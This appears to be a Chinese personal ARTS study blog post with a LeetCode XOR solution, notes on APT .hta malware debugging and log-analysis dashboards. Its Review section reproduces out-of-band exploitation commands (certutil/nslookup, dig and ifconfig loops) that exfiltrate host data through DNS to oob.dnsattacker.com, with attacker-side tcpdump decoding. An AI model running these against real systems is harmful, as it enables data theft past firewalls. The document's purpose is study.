ARTS:

  • Algrothm: leetcode算法题目
  • Review: 阅读并且点评一篇英文技术文章
  • Tip/Techni: 学习一个技术技巧
  • Share: 分享一篇有观点和思考的技术文章

Algorithm

Single Number

https://leetcode.com/problems/single-number/

1)problem

Given a non-empty array of integers, every element appears twice except for one. Find that single one.

Note:

Your algorithm should have a linear runtime complexity. Could you implement it without using extra memory?

Example 1:

Input: [2,2,1]
Output: 1
Example 2:

Input: [4,1,2,1,2]
Output: 4

2)answer

数组中其他数出现两次,仅有一个出现一次的。逐个字符进行异或来,当某个数字出现第二次时候数字就归为0。二进制计算逻辑如下:

  二进制            异或      下一次的异或值   实际值
4 ==> 100  ==>  100 ^ 000      = 100        = 4
1 ==> 001  ==>  001 ^ 100      = 101        = 5
2 ==> 010  ==>  010 ^ 101      = 111        = 7
1 ==> 001  ==>  001 ^ 111      = 110        = 6
2 ==> 010  ==>  010 ^ 110      = 100        = 4

3)solution

Cpp:

#include <stdio.h>
#include <vector>
using std::vector;

class Solution {
public:
    int singleNumber(vector<int>& nums) {

        int aNum = 0;
        for (int i = 0; i < nums.size(); i++) {
            aNum ^= nums[i];
        }
        return aNum;
    }
};

int main()
{

    // 使用内容
    Solution nSolution;
    vector<int> nums;

    nums.push_back(2);
    nums.push_back(1);
    nums.push_back(2);
    nSolution.singleNumber(nums);
    return 0;
}

Python:

class Solution(object):
    def singleNumber(self, nums):
        """
        :type nums: List[int]
        :rtype: int
        """
        r_nums = 0
        for num in nums:
            r_nums ^= num
        return r_nums

4)总结

Tips:按tags刷会比较有效率。

  • String

https://leetcode.com/problemset/all/?topicSlugs=string

https://leetcode.com/problems/unique-email-addresses

https://leetcode.com/problems/to-lower-case

  • HASH Tables

https://leetcode.com/problems/jewels-and-stones

https://leetcode.com/problems/single-number

Review

【WEB安全】out of band exploitation (oob) cheatsheet

https://www.exploit-db.com/docs/english/45370-out-of-band-exploitation-(oob)-cheatsheet.pdf

1)场景

OOB是一种确认和利用漏洞的方法。让容易受到攻击的实体生成出站请求(TCP/UDP/ICMP),由攻击者过滤数据。

而OOB攻击基于出口防火墙规则从受攻击的系统发出出站请求,所以防火墙不会拦截。

2)问题难点

文章中的演示是利用DNS协议进行传输数据的。

3)解决问题的方法

在受攻击的系统执行命令,把命令回显结果传回到攻击者的服务器上。对受攻击的系统执行指定命令通过DNS访问攻击者的服务器,攻击者将开启tcpdump抓包工具把原数据存储,在过滤还原出来。

4)方法细节

在攻击者服务器上运行TCPDUMP。接受数据原理:

tcpdump -n port 53

Windows:

受攻击机器:

nslookup test.oob.dnsattacker.com

Uinx:

host host.oob.dnsattacker.com

5)总结

  • 获取主机名

Windows受攻击机器

cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3
&& set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!"

攻击者:

echo “encoded output” |base64 -d  # decode the output with base64
  • 发送多行的显示结果

受攻击机器:

cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=GetContent
output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){
$final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j += 1; nslookup $final }"    # Sending file inHEX

攻击者:

sudo tcpdump -n port 53 | tee file.txt

echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f
2|tr -d '\n')" | xxd -r -p

Unix:

受攻击者:

var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig  $var.$b.file.oob.dnsattacker.com;done   # Sending file in HEX

攻击者:

sudo tcpdump -n port 53 | tee file.txt

提取和构造输出:

echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p

Base64:

var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done# Sending file in base64

Tip

【逆向分析】某APT组织.net程序调试技巧

1)场景

某个APT组织的样本是通过.hta文件在内存中直接展开的。

2)问题难点

.HTA文件,解密在分析。工具少,时间长。

3)解决思路

查看mshta.exe是否在运行,使用OD附加这个进程。

4)方法细节

1、运行.hta文件,查看mshta.exe是否在运行,使用OD附加这个进程。

2、bp connect:对网络函数下断点,获取连接域名或IP的位置,拿到IOC。

5)总结

邮件发送的样本,打开附件的EXE释放会在temp临时目录内释放hta文件或者白签名的文件,打开pdf/word/ppt文件。

Share

【业务安全】应用日志分析需求

1)场景

针对主机存储的日志数据,通过这些分析报表来查看近期站点的流量趋势、洞察站点用户行为、用户地域属性等。

2)问题难点

图是从微信群里看到的,比起上周关注的业务点多了些许细节。

3)解决问题的方法

运营大盘:告警、趋势与分析

  • 告警类:准时的展示、拦截;
  • 趋势类:饼图、柱图、折线等等。一般以天或小时级别,观测整体的趋势,不适合细粒度分析但可从宏观侧面观测并找到可疑的方向;
  • 观测分析类:也以各种饼图、柱图、折线为主,但会比趋势类的展示在某些维度的粒度更细,例如,5-10分钟级别,甚至按地域和用户细分,等等。一方面,用于在可疑方向上进一步确定问题,给分析人员指向原始数据内的分析方向;另一方面,也可在不那么微观、但也不那么宏观的层面上,通过流动性的走势发现一些在原始数据和宏观数据里都无法发现的问题。

4)方法细节

5)总结

【ARTS】01_04_左耳听风-20181203~1209的更多相关文章

  1. 【ARTS】01_21_左耳听风-201900401~201900407

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  2. 【ARTS】01_20_左耳听风-20190325~20190331

    zz## ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 ...

  3. 【ARTS】01_19_左耳听风-20190318~20190324

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  4. 【ARTS】01_18_左耳听风-20190311~20190317

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  5. 【ARTS】01_17_左耳听风-20190304~20190310

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  6. 【ARTS】01_16_左耳听风-20190225~20190303

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  7. 【ARTS】01_14_左耳听风-20190211~20190217

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  8. 【ARTS】01_10_左耳听风-20190114~20190120

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  9. 【ARTS】01_09_左耳听风-20190107~20190113

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

随机推荐

  1. C++:继承访问属性(public/protected/private)

    • 公有继承(public) 公有继承在C++中是最常用的一种继承方式,我们先来看一个示例: #include<iostream> using namespace std; class F ...

  2. Winform设置开机启动-操作注册表

    #region 设置开机运行 /// <summary> /// 设置开机运行 /// </summary> /// <param name="R_startP ...

  3. UIView 添加闪烁的渐变光

    CGRect gradientRect=CGRectMake(- imageView3.bounds.size.width*, * imageView3.bounds.size.width, imag ...

  4. 11th 如果重新来过

    如果重新来过,我想我不会再因任何阻碍而选择中途放弃了.为了追求完美,结果做不到自己想要的程度,就备感挫败感,于是乎就求全责备,无法继续进行下去,即便你一直原地踏步,其实也就相当于是放弃了,跟不做没有什 ...

  5. 学习 TTreeView [1] - TTreeNodes、TTreeNode 与 Items、Items.Count、Items.Clear

    填写 TTreeView 的内容一般是这样开始的(下图), 不过我觉得最好习惯用动态建立. 打个比方: 譬如 TreeView 是一个军营的"营部"! 这里会有营长.连长.排长.班 ...

  6. 在delphi中我用DBGrid选择多条记录,如何一次把选择的多条记录删掉

    procedure TForm1.btnDoSumClick(Sender: TObject);var  i: Integer;begin  if DBGrid1.SelectedRows.Count ...

  7. 深入理解es6的promise

    一.promise入门 1. Promise对象是什么 回调函数的另一种原生实现,比之前回调函数的写法机构清晰,功能强大, 2.以前回调这么写 function a(fn){ let h = 1; s ...

  8. nginx mp3

    location /mp3 { alias "d:/mp3"; default_type audio/mpeg; autoindex on; }

  9. 如何解决每次打开office 都会出现正在配置的问题

    原因:安装offiece的时候直接选择以前安装过的office文件夹,导致文件冲突 解决方法:卸载,然后对准备要安装的文件夹清空或者重新建个新文件夹安装

  10. 【刷题】洛谷 P4320 道路相遇

    题目描述 在 H 国的小 w 决定到从城市 \(u\) 到城市 \(v\) 旅行,但是此时小 c 由于各种原因不在城市 \(u\),但是小 c 决定到在中途与小 w 相遇 由于 H 国道路的原因,小 ...